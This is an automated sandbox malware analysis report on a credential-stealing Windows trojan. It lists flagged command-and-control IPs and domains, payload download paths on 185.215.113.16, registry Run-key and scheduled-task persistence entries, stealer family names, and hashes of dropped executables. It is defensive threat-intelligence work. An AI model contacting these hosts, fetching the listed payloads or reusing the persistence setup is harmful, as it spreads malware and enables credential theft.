https://vk.com/	firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2(brows	firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.1985450021.00000000058B2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1754929520.00000000058AE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1773633914.00000000058B2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757146069.00000000058B2000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2453906640.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2251085264.000000000589A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2222951184.0000000001393000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256544600.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2308473206.000000000582B000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258560113.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2272064473.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2271766130.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2275987297.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2258506161.000000000589F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2275599055.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2255255449.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2295949392.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2271509895.000000000582B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://thumbystriw.store:443/apiMCN9	file.exe, 00000000.00000003.2011455939.000000000104F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000019.00000003.2419930987.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/Mozi.	7f3598dc65.exe, 00000008.00000003.2294229294.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2293795691.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.110	youtube.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545324
Start date and time:	2024-10-30 12:35:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@85/40@101/14
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.11.191.138, 54.185.230.140, 35.160.212.113, 142.250.186.138, 142.250.185.74, 216.58.206.46, 2.22.61.56, 2.22.61.72
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, ciscobinary.openh264.org, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, a17.rackcdn.com.mdc.edgesuite.net, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, a19.dscg10.akamai.net, ocsp.digicert.com, redirector.gvt1.com, safebrowsing.googleapis.com, location.services.mozilla.com
Execution Graph export aborted for target 7f3598dc65.exe, PID 3352 because there are no executed function
Execution Graph export aborted for target AJK1SC9862O5LRO4.exe, PID 6840 because it is empty
Execution Graph export aborted for target file.exe, PID 3608 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6528 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:36:01	API Interceptor	33x Sleep call for process: file.exe modified
07:36:43	API Interceptor	794484x Sleep call for process: skotes.exe modified
07:36:53	API Interceptor	20x Sleep call for process: 7f3598dc65.exe modified
07:37:38	API Interceptor	1x Sleep call for process: firefox.exe modified
11:36:40	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
11:36:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7f3598dc65.exe C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe
11:37:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 606111e8b5.exe C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe
11:37:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run dd62608cd9.exe C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe
11:37:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002608001\num.exe
11:37:30	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7f3598dc65.exe C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe
11:37:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 606111e8b5.exe C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe
11:37:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run dd62608cd9.exe C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe
11:37:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002608001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.149.100.209	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/test/num.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/test/num.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/test/num.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	app64.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
ATGS-MMD-ASUS	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	DHr3CzaX5d.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	z1Transaction_ID_REF2418_cmd.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Orden de Compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
	Orden de compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
	z1SWIFT_MT103_Payment_552016_cmd.bat	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.97.3
	Order pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.97.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CR7UQWGVREF7AZUSI54N0N8MGR.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GVDV7NGS54W9A7T64.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RIT5CLJSOG1HZLWAHXIC60.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3016704
Entropy (8bit):	6.546175934074995
Encrypted:	false
SSDEEP:	49152:vmnF5R7XF3eOel6chopM1ei57l5pS9fkyNcFvr:vmnB7XF3eOel6chopM1ei29ftNA
MD5:	C9026D15B750CD2D99E938C9A16C0FEA
SHA1:	AC28095ED9FD5546CB2B71E54A6CBAA8BA5FD129
SHA-256:	E1A0807D2313553A9E5C3997162F9228D9D88BB171BF90C653B15D5195FEF36E
SHA-512:	AF64AD1A5C759A9686F7C689042ABAC150B23F035F900F181F87C457C82BF359EE36801F9086337F65635020CE25AE6E35620482381E1B25C1282F6D8ECCFEDA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@..........................@1......e....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...rfqiwnzu.P+......N+.................@...lwhxfubc......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.58467072504627
Encrypted:	false
SSDEEP:	12288:rqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TJ:rqDEvCTbMWu7rQYlBQcBiT6rprG8abJ
MD5:	388A4D9E5A5EC3446324F1DCFEE1F8DB
SHA1:	4DBF48C4BB5B82DA95778263D0FA897CF77909AA
SHA-256:	10582062C33D5D8478731C97DE4F2882F25332A603D048F4ADA7AAB4AF0730E4
SHA-512:	8954E1CA993FFAF83BDD018534EEAC2E815B5956D39C9FFE29D9728521DB06BEC306E67C05E8C54404282D8D1AAA9ACFE2418DB7478D0F04500E28FED4143EFB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
